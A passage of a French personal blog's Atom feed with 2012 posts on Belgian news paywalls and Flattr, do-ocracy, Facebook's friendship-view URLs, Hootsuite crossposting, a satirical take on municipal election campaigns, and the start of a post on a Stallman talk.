&lt;p&gt;&lt;a href="http://www.crcpress.com/product/isbn/9780849321429"&gt;CRC Press, Software architecture design patterns in Java&lt;/a&gt;&lt;br&gt;
&lt;a href="http://fr.wikipedia.org/wiki/Patron_de_conception"&gt;Wikipedia Patrons de conception&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Obligation de payer ou envie de flattrer ?</title><link href="http://blog.namok.be/2012-12-15-obligation-de-payer-ou-envie-de-flattrer.html" rel="alternate"/><published>2012-12-15T00:00:00+01:00</published><updated>2012-12-15T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-12-15:/2012-12-15-obligation-de-payer-ou-envie-de-flattrer.html</id><summary type="html">Flattr, l'un des premiers sites de micropaiement</summary><content type="html">&lt;p&gt;&lt;img alt="woman-newspaper.jpg" src="/images/woman-newspaper.jpg" title="woman-newspaper.jpg, déc. 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Les quotidiens veulent empêcher l&amp;rsquo;accès gratuit à l&amp;rsquo;information qu&amp;rsquo;ils diffusent et veulent mettre en place une plateforme « d&amp;rsquo;articles de presse ».&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.rtbf.be/info/medias/detail_la-presse-quotidienne-belge-n-est-plus-referencee-sur-google?id=6460893"&gt;On se rappelle&lt;/a&gt; le différent de la presse belge avec Google et l&amp;rsquo;on comprend (même si on a l&amp;rsquo;habitude de recevoir l&amp;rsquo;info gratuitement) que les éditeurs belges veulent rétribuer leurs journalistes. C&amp;rsquo;est &lt;a href="http://www.demorgen.be/dm/nl/5403/Internet/article/detail/1548920/2012/12/14/Nieuwssites-gaan-achter-betaalmuur.dhtml"&gt;De morgen&lt;/a&gt; qui l&amp;rsquo;annonce ce 14 décembre, l&amp;rsquo;idée est de mettre en place un moyen de rétribuer « à l&amp;rsquo;article »&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Un outil de paiement commun : un système « à la iTunes » avec un login et un mot de passe qui permet d&amp;rsquo;acheter, en un clic, des contenus de différents médias sur une seule plateforme. C&amp;rsquo;est sur ce scénario que repose l&amp;rsquo;accord.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.lesoir.be/138162/article/culture/medias-tele/2012-12-14/sites-d%E2%80%99info-optent-pour-un-outil-commun-paiement"&gt;Le soir&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Depuis que je lis (presque) tous les matins le journal « Métro », je me demande pourquoi je paierais pour de l&amp;rsquo;info alors que je retrouve exactement la même dans le journal de mon voisin [^f1] ? Bon, si je fais un peu attention, je constate que, dans ce même Métro, je ne lis presque plus les articles. Ils ne sont qu&amp;rsquo;une simple répétition du titre sans valeur ajoutée. &lt;/p&gt;
&lt;p&gt;La dépêche tombe.&lt;br&gt;
Elle est est recopiée.&lt;/p&gt;
&lt;p&gt;Jusqu&amp;rsquo;au jour où une copine me prête &lt;a href="http://www.levif.be/info/"&gt;Le Vif&lt;/a&gt;, hebdomadaire auquel j&amp;rsquo;étais abonné jadis mais qui impose une lecture quotidienne [^f2] si l&amp;rsquo;on veut arriver au bout en une semaine. Bref, en moins de deux, ma vitesse de lecture est divisée par deux; les phrases sont construites et le vocabulaire est « un niveau au-dessus ». &lt;/p&gt;
&lt;p&gt;En fait, pour une info et son analyse, je suis prêt à payer un peu.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je consacre quelques euros par mois pour rétribuer les articles que je trouve intéressants via mon compte &lt;a href="http://flattr.com/Pinkilla"&gt;Flattr&lt;/a&gt;… mais là, je paie après lecture et uniquement si je veux. L&amp;rsquo;idée est bonne mais comme l&amp;rsquo;Homme est faible ce système ne peut pas marcher pour la presse belge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dommage qu&amp;rsquo;ils n&amp;rsquo;aient même pas essayé.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;&lt;a href="http://flattr.com"&gt;Flattr&lt;/a&gt;, c&amp;rsquo;est bon mangez-en&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.demorgen.be/dm/nl/5403/Internet/article/detail/1548920/2012/12/14/Nieuwssites-gaan-achter-betaalmuur.dhtml"&gt;De morgen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.liberation.fr/depeches/2012/12/13/pour-les-editeurs-belges-l-accord-avec-google-etait-le-plus-raisonnable_867357"&gt;Liberation Un accord entre les éditeurs belges et Google&lt;/a&gt;
    (13 déçembre 2012)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.rtbf.be/info/medias/detail_la-presse-quotidienne-belge-n-est-plus-referencee-sur-google?id=6460893"&gt;RTBF La presse quotidienne belge n&amp;rsquo;est plus référencée par Google&lt;/a&gt;
    (15 juillet 2011)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://flattr.com"&gt;Flattr&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.levif.be/info/"&gt;Le Vif&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://demo.chimerathemes.com/tomasso/2011/05/26/women-in-business/"&gt;Crédit photo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2012-02-06-le-droit-de-lire-et-l-envie-de-micropayer.html"&gt;Le droit de lire et l&amp;rsquo;envie de micropayer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Do-ocratie</title><link href="http://blog.namok.be/2012-12-03-do-ocracie.html" rel="alternate"/><published>2012-12-03T00:00:00+01:00</published><updated>2012-12-03T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-12-03:/2012-12-03-do-ocracie.html</id><summary type="html">Si tu veux que quelque chose soit fait (parfois), juste, fais-le</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Doocratie&lt;/strong&gt; &lt;em&gt;n.f.&lt;/em&gt; Issu de la démocratie, la do-ocratie est un processus de décision pour lequel, après avoir pris l&amp;rsquo;avis de tous, c&amp;rsquo;est celui qui fait le boulot qui a le dernier mot.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="doityourself-dusting.jpg" src="/images/doityourself-dusting.jpg" title="doityourself-dusting.jpg, déc. 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ce système est utilisé dans la plupart des &lt;em&gt;wikis&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et parmi les &lt;em&gt;packageurs&lt;/em&gt; &lt;a href="http://debian.org"&gt;debian&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;adhère parfaitement à cette manière de fonctionner car elle est particulièrement efficace. Il faut cependant être attentif à ses écueils ; le &lt;strong&gt;despotisme&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;– — Trop tard, j&amp;rsquo;ai fait, donc j&amp;rsquo;ai raison&lt;/p&gt;
&lt;p&gt;et le &lt;strong&gt;burn out&lt;/strong&gt;,&lt;/p&gt;
&lt;p&gt;— Ok, si je veux que ce soit fait, c&amp;rsquo;est (encore) moi qui m&amp;rsquo;y colle&lt;/p&gt;
&lt;p&gt;Je suis persuadé qu&amp;rsquo;en respectant l&amp;rsquo;autre et en ayant au préalable un processus de discussion, c&amp;rsquo;est un bon moyen d&amp;rsquo;éviter l&amp;rsquo;immobilisme. &lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;p&gt;&lt;img alt="do-ocracy.jpg" src="/images/do-ocracy.jpg" title="do-ocracy.jpg, déc. 2012"&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Pour rappel, le plus connu, c&amp;rsquo;est Wikipedia mais le principe c&amp;rsquo;est un site dont les pages sont facilement et librement éditables par les visiteurs. Ce qui permet un travail collaboratif.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Les pages couples Facebook… qui n'en sont pas</title><link href="http://blog.namok.be/2012-11-17-les-pages-couples-facebook-qui-n-en-sont-pas.html" rel="alternate"/><published>2012-11-17T00:00:00+01:00</published><updated>2012-11-17T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-11-17:/2012-11-17-les-pages-couples-facebook-qui-n-en-sont-pas.html</id><summary type="html">Les pages couples Facebook… qui n'en sont pas</summary><content type="html">&lt;p&gt;On nous parle ces derniers jours des « &lt;a href="http://www.blogdumoderateur.com/facebook-lance-les-pages-couples-et-la-confidentialite/"&gt;pages couples&lt;/a&gt; » sur &lt;a href="http://facebook"&gt;Facebook&lt;/a&gt; comme s&amp;rsquo;il s&amp;rsquo;agissait d&amp;rsquo;une révolution. Et l&amp;rsquo;on peut donc voir cette page &lt;em&gt;via&lt;/em&gt; le lien &lt;a href="http://facebook.com/us"&gt;http://facebook.com/us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-fb-us-2.png" src="/images/screenshot-fb-us-2.png" title="screenshot-fb-us-2.png, nov. 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Rassurez-vous, depuis des temps immémoriaux, c&amp;rsquo;est possible. Le &lt;a href="https://blog.facebook.com/blog.php?post=443390892130"&gt;blog de Facebook&lt;/a&gt; me dit que ça fait depuis octobre 2010 qu&amp;rsquo;il est possible de voir les relations d&amp;rsquo;amitiés (facebook) de tout le monde.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-fb-us-1.png" src="/images/screenshot-fb-us-1.png" title="screenshot-fb-us-1.png, nov. 2012"&gt;&lt;/p&gt;
&lt;p&gt;Inutile donc de crier «Au scandale !» et amusez-vous a modifier vos url (ou a entrer les noms dans la case idoine et cliquer sur «&lt;em&gt;see friendships&lt;/em&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://www.facebook.com/juste.leblanc?and=marlene.sassœur&lt;/li&gt;
&lt;li&gt;https://www.facebook.com/juste.leblanc?and=&lt;strong&gt;la femme de ton pote&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;https://www.facebook.com/juste.leblanc?and=&lt;strong&gt;ton patron&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;https://www.facebook.com/&lt;strong&gt;ton patron&lt;/strong&gt;?and=&lt;strong&gt;sa secrétaire&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ouaip ! On est jouette le Samedi (alors qu&amp;rsquo;il faudrait corriger).&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.blogdumoderateur.com/facebook-lance-les-pages-couples-et-la-confidentialite"&gt;Blog du modérateur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.facebook.com/blog.php?post=443390892130"&gt;Blog facebook&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Hootsuite, crossposting sur les réseaux sociaux</title><link href="http://blog.namok.be/2012-11-09-hootsuite-crossposting-sur-les-reseaux-sociaux.html" rel="alternate"/><published>2012-11-09T00:00:00+01:00</published><updated>2012-11-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-11-09:/2012-11-09-hootsuite-crossposting-sur-les-reseaux-sociaux.html</id><summary type="html">Dans une optique POSE (Publish Once, Share Everywhere) pour les réseaux sociaux aussi, comment automatiser la publication ?</summary><content type="html">&lt;p&gt;J&amp;rsquo;utilise &lt;a href="http://twitter.com/pinkilla"&gt;Twitter&lt;/a&gt;, &lt;a href="http://facebook.com"&gt;Facebook&lt;/a&gt; et
&lt;a href="http://identi.ca/pinkilla"&gt;identi.ca&lt;/a&gt; pour signaler les changements sur mon blog et pour partager mes statuts (certains sont intéressants, si si !).&lt;/p&gt;
&lt;p&gt;&lt;img alt="hands-on-smartphone" src="/images/hands-on-smartphone.jpg" title="hands-on-smartphone.jpg, nov. 2012" width="100%"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Twitter parce que c&amp;rsquo;est public et que ça s&amp;rsquo;intègre dans des sites web si l&amp;rsquo;on veut,&lt;/li&gt;
&lt;li&gt;Facebook parce que c&amp;rsquo;est là que les gens sont et ça « accroit l&amp;rsquo;audience » (on passe de 5 à 40) et&lt;/li&gt;
&lt;li&gt;identi.ca parce que c&amp;rsquo;est comme Twitter mais en libre… et donc &lt;a href="2010-12-01-Facebook-versus-Diaspora.html"&gt;personne n&amp;rsquo;utilise&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour l&amp;rsquo;instant, identi.ca répète gentiment mes statuts sur les autres réseaux sociaux… mais s&amp;rsquo;il le fait très bien pour du texte, il recopie moins bien pour des liens (c&amp;rsquo;est pas sa faute, hein !) et c&amp;rsquo;est dommage pour les infos sur FB. identi.ca ne permet pas de répéter sur &lt;a href="https://plus.google.com/104557294896625869744/posts"&gt;Google+&lt;/a&gt;… et c&amp;rsquo;est bien dommage.&lt;/p&gt;
&lt;p&gt;De plus, je ne veux peut-être pas répéter &lt;strong&gt;tous&lt;/strong&gt; les statuts sur &lt;strong&gt;tous&lt;/strong&gt; les médias, je veux peut-être pouvoir choisir au cas par cas.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-hoot-identica-liens.png" src="/images/screenshot-hoot-identica-liens.png" title="screenshot-hoot-identica-liens.png, nov. 2012"&gt;&lt;/p&gt;
&lt;p&gt;Je cherche donc un moyens de faire tout ça… et plus encore pourquoi pas.&lt;/p&gt;
&lt;p&gt;Je vous passe tous les détails de recherche sur le net pour arriver directement au produit testé; &lt;a href="http://hootsuite.com/"&gt;Hootsuite&lt;/a&gt; (anciennement Seesmic) semble pouvoir faire l&amp;rsquo;affaire. C&amp;rsquo;est une application web et pas un client mais bon.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-hoot-hootsuite.png" src="public/images/divers/2012/screenshot-hoot-hootsuite.png" title="screenshot-hoot-hootsuite.png"&gt;&lt;/p&gt;
&lt;p&gt;Pour une rapide intro, vous pouvez lire un article en français sur le &lt;a href="http://blog.hootsuite.com/hootsuite-simplifier-vie/"&gt;blog de Hootsuite, comment se simplifier la vie&lt;/a&gt; et/ou un article de &lt;a href="http://easy-socialmedia.com/ comment-gagner-du-temps-avec-les-reseaux-sociaux-hootsuite/"&gt;Laurence Galembert&lt;/a&gt; un peu plus complet.&lt;/p&gt;
&lt;p&gt;Ce que j&amp;rsquo;en retiens c&amp;rsquo;est que la version gratuite me permet de&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;faire le &lt;em&gt;crossposting&lt;/em&gt; voulu et&lt;/li&gt;
&lt;li&gt;répètera le flux RSS du blog&lt;/li&gt;
&lt;li&gt;… et plein d&amp;rsquo;autres choses dont je n&amp;rsquo;aurai pas besoin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;par contre, cette version&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;limite à deux le nombre d&amp;rsquo;endroits où je publie le flux du blog&lt;/li&gt;
&lt;li&gt;ne permet de poster que sur une page Google+ et pas sur un profil (ça &lt;strong&gt;c&amp;rsquo;est assez rédhibitoire&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour que ce soit &lt;em&gt;mode&lt;/em&gt;, c&amp;rsquo;est évidemment proposé avec des applis smartphone…&lt;/p&gt;
&lt;p&gt;Encore pas mal de temps pour tester tout ça mais… au boulot maintenant !&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://twitter.com/pinkilla"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://identi.ca/pinkilla"&gt;identi.ca&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://facebook.com"&gt;Facebook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://plus.google.com/104557294896625869744/posts"&gt;Google+&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="index.html"&gt;Notes de PiT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://hootsuite.com/"&gt;Hootsuite&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.hootsuite.com/hootsuite-simplifier-vie/"&gt;Blog Hootsuite, comment se simplifier la vie&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://easy-socialmedia.com/comment-gagner-du-temps-avec-les-reseaux-sociaux-hootsuite/"&gt;Laurence Galembert&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.emakina.com/2012/06/27/emakina-behind-the-european-commissions-health-insurance-card-app/"&gt;Crédit photo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2010-12-01-Facebook-versus-Diaspora.html"&gt;Pourquoi Diaspora ne connaitra (probablement) pas le même engouement que Facebook ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-10-13-Un-reseau-social-libre-une-utopie.html"&gt;Un reseau social libre, une utopie ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Je ne voterai pas pour Kévin</title><link href="http://blog.namok.be/2012-10-08-je-ne-voterai-pas-pour-kevin.html" rel="alternate"/><published>2012-10-08T00:00:00+02:00</published><updated>2012-10-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-10-08:/2012-10-08-je-ne-voterai-pas-pour-kevin.html</id><summary type="html">Réflexion sur les élections communales</summary><content type="html">&lt;p&gt;À la veille des élections communales, j&amp;rsquo;observe ce qu&amp;rsquo;il se passe autour de moi. Je ne m&amp;rsquo;intéresse pas du tout à la politique en tant que telle, je préfère la sociologie liée aux élections… bien que je terminerai quand même l&amp;rsquo;article en vous disant pour qui voter ;-)&lt;/p&gt;
&lt;p&gt;Pour m&amp;rsquo;informer et choisir pour qui voter, je lis des blogs, je regarde &lt;a href="http://facebook.com"&gt;Facebook&lt;/a&gt;, je matte des films et je vois même des affiches dans la rue. Par contre les tracts vont quasi-directement de la bal à la poubelle !&lt;/p&gt;
&lt;p&gt;Alors, voyons pourquoi je ne voterai pas pour Kévin…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Avertissement&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cet article n&amp;rsquo;est pas plus sérieux que tout ce que j&amp;rsquo;écris… il ne l&amp;rsquo;est pas moins non plus. Au lecteur donc de séparer le bon grain de l&amp;rsquo;ivraie et de détecter l&amp;rsquo;humour voire le second degré.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Je répète que je ne m&amp;rsquo;intéresse qu&amp;rsquo;à la partie visible de la campagne électorale, que je suis bien loin des jeux d&amp;rsquo;influence et que, si j&amp;rsquo;égratigne une connaissance, qu&amp;rsquo;elle me pardonne, c&amp;rsquo;est de bonne guerre.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ceci étant dit, Kévin&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;,s&amp;rsquo;il veut que je ne vote pas pour lui, doit avoir le profil suivant.&lt;/p&gt;
&lt;h4&gt;Il doit absolument avoir un profil Facebook&lt;/h4&gt;
&lt;p&gt;Il doit avoir un profil FB et plein d&amp;rsquo;amis, histoire que l&amp;rsquo;on sache qu&amp;rsquo;il est populaire… mais ça c&amp;rsquo;est «bien»&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Par contre, ses status ne doivent &lt;strong&gt;jamais&lt;/strong&gt; parler de politique ou d&amp;rsquo;actions entreprises mais uniquement des &lt;strong&gt;soirées auxquelles il participe&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si possible, il doit se rendre à plusieurs fêtes la même soirée. Être invité à la fête n&amp;rsquo;a pas spécialement d&amp;rsquo;importance, l&amp;rsquo;important, c&amp;rsquo;est d&amp;rsquo;y être ;-) C&amp;rsquo;est dans les kermesses aux boudins&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; où la musique va fort et quelques pintes en main que l&amp;rsquo;on parle le mieux de son programme pour la cité.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;ailleurs, quand Kévin fait campagne, il est encore moins souvent à la maison…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Par contre, j&amp;rsquo;ai lu quelques status FB se faisant l&amp;rsquo;écho d&amp;rsquo;un article d&amp;rsquo;un blog (et donc lisible par tous, not only fb) parlant de &lt;a href="http://oliviersaintamand.blogspot.be"&gt;campagne électorale&lt;/a&gt;, d&amp;rsquo;actions concrètes et d&amp;rsquo;&lt;a href="http://artimuses.be/"&gt;interrogations sur comment bien faire&lt;/a&gt;. Articles intéressants me faisant découvrir des candidats.&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Une affiche avec un jeu de mot bidon&lt;/h4&gt;
&lt;p&gt;Je me plais à croire avoir de l&amp;rsquo;humour et je peux être très très lourd s&amp;rsquo;il le faut.Quand c&amp;rsquo;est (trop) gras ou si, même Desproges ne le réserverait pas à n&amp;rsquo;importe qui, je garde le bon mot pour l&amp;rsquo;oral.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Qu&amp;rsquo;on parle de moi en bien ou en mal, peu importe. L&amp;rsquo;essentiel, c&amp;rsquo;est qu&amp;rsquo;on parle de moi!&lt;/p&gt;
&lt;p&gt;Léon Zitrone&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je comprend qu&amp;rsquo;il faille se démarquer mais l&amp;rsquo;adage de &lt;a href="http://www.dico-citations.com/qu-on-parle-de-moi-en-bien-ou-en-mal-peu-importe-l-essentiel-c-est-qu-on-parle-de-moi-zitrone-l-on/"&gt;Léon Zitrone&lt;/a&gt; n&amp;rsquo;induit pas ce florilège de &lt;strong&gt;jeux de mots bidons&lt;/strong&gt;… et que Kévin ne me rétorque pas que l&amp;rsquo;on peut travailler sérieusement et avoir de l&amp;rsquo;humour, je le sais… mais pour moi, c&amp;rsquo;est mauvais (surtout les jeux de mots sur les noms)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;« Un vote heureux, votez Danielle Joyeux »&lt;/li&gt;
&lt;li&gt;« Pour bâtir solide, votez Masson »&lt;/li&gt;
&lt;li&gt;« Numéro 24… comme 24 chopes dans un casier. On ne se refait pas »&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="votes.png" src="/images/votes.png" title="votes.png, oct. 2012" width&gt;&lt;br&gt;
&lt;em&gt;From &lt;a href="http://lolectionscommunales2012.tumblr.com"&gt;Lol élections communales 2012&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Par contre si l&amp;rsquo;on ne voyait &lt;/em&gt;&lt;em&gt;que&lt;/em&gt;&lt;em&gt; des affiches représentant toute l&amp;rsquo;équipe ou des affiches individuelles (exit donc des «coalitions» de 2,3 membres) ça donnerait l&amp;rsquo;impression d&amp;rsquo;une équipe soudée.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ça permettrait de si dire « Ah oui, c&amp;rsquo;est vrai, il se présente ! »&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Un film très cheap&lt;/h4&gt;
&lt;p&gt;Cette année, c&amp;rsquo;est l&amp;rsquo;année des films. Les commerciaux, outre le profilage des listes&lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;, ont briefé les candidats en leur disant que les réseaux sociaux c&amp;rsquo;est bien mais que les électeurs étant analphabètes, c&amp;rsquo;est mieux de faire un film.&lt;/p&gt;
&lt;p&gt;Un film, ça peut être bien et même « &lt;a href="http://www.commentcamarche.net/faq/16451-comment-realiser-une-video-d-entreprise"&gt;Comment ça marche&lt;/a&gt; » nous explique comment il faut faire… mais ceux que j&amp;rsquo;ai vu sont assez déplorables. On voit que chacun fait avec les moyens du bord. Même si l&amp;rsquo;initiative peut paraitre louable, le résultat est souvent décevant.&lt;/p&gt;
&lt;p&gt;Une vidéo ne doit pas être plus longue qu&amp;rsquo;une minute sinon elle ne sera pas regardée… et en une minute Kévin ne pourra montrer que sa tête, probablement pas présenter son programme, développer ses idées…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Même si la vidéo est bien faite, je vois peu l&amp;rsquo;intérêt. C&amp;rsquo;est extrêmement difficile de faire une vidéo qui « peut passer ».&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je ne suis pas le public cible de Kévin… et toi ? Je reste convaincu qu&amp;rsquo;une &lt;a href="http://ploum.net"&gt;communication constante et de longue durée&lt;/a&gt; permet au lecteur de connaitre un peu les idées de la personne qui va nous représenter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un conseil, ne votez pas pour Kévin… il y a d&amp;rsquo;autres choix…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;… et en attendant, lisez &lt;a href="http://artimuses.be"&gt;souquez les artimuses&lt;/a&gt;, c&amp;rsquo;est bon, mangez-en.&lt;/p&gt;
&lt;p&gt;&lt;img alt="laforcedupeuple.jpg" src="/images/laforcedupeuple.jpg" title="laforcedupeuple.jpg, oct. 2012"&gt;&lt;br&gt;
&lt;em&gt;From &lt;a href="http://facebook.com"&gt;Facebook&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://artimuses.be/"&gt;Souquez les artimuses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ploum.net"&gt;Ploum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://oliviersaintamand.blogspot.be"&gt;Olivier Saint-Amand&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lolectionscommunales2012.tumblr.com"&gt;Communale 2012, le meilleur du pire&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Soyons clair (à nouveau), je dis Kévin car c&amp;rsquo;est un prénom que je n&amp;rsquo;aime pas trop. Je ne pouvais pas choisir Pierre (ben non !) ni Jacques ni Jean car trop judéo-chrétien. Je ne pouvais pas choisir Bart ou Wim, trop « wallinguant ». Je ne peux pas choisir Mohammed ou Tarik sous peine d&amp;rsquo;un point Goldwin. Avec Kévin, je devrais conserver mes rotules !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je parle toujours de &lt;strong&gt;ma&lt;/strong&gt; notion du bien et du mal. Je ne connais pas
celle du lecteur.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Tiens, est-ce politiquement correct de parler de boudins ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Ben oui, tout le monde doit se reconnaitre dans le candidat. Moi — #sarcasme — je ne vote que pour les universitaires, blancs, fonctionnaires… comme je suis hétéro, ça peut être une fille… sauf si je suis macho et estime que les filles ne peuvent pas faire de politique ! Aïe, le choix n&amp;rsquo;est peut-être pas si simple finalement ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Nous avons reçu l'évangile selon Richard</title><link href="http://blog.namok.be/2012-10-01-nous-avons-recu-evangile-selon-richard.html" rel="alternate"/><published>2012-10-01T00:00:00+02:00</published><updated>2012-10-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-10-01:/2012-10-01-nous-avons-recu-evangile-selon-richard.html</id><summary type="html">Suite d'une conférence de RMS dans notre école</summary><content type="html">&lt;p&gt;&lt;a href="http://www.stallman.org"&gt;Richard Matthew Stallman&lt;/a&gt; est venu à l&amp;rsquo;école afin de répandre la bonne parole. Même si je m&amp;rsquo;attend et si j&amp;rsquo;adhère à (une grande partie) du message, le personnage est assez surprenant et annonce la couleur dès le début&lt;/p&gt;
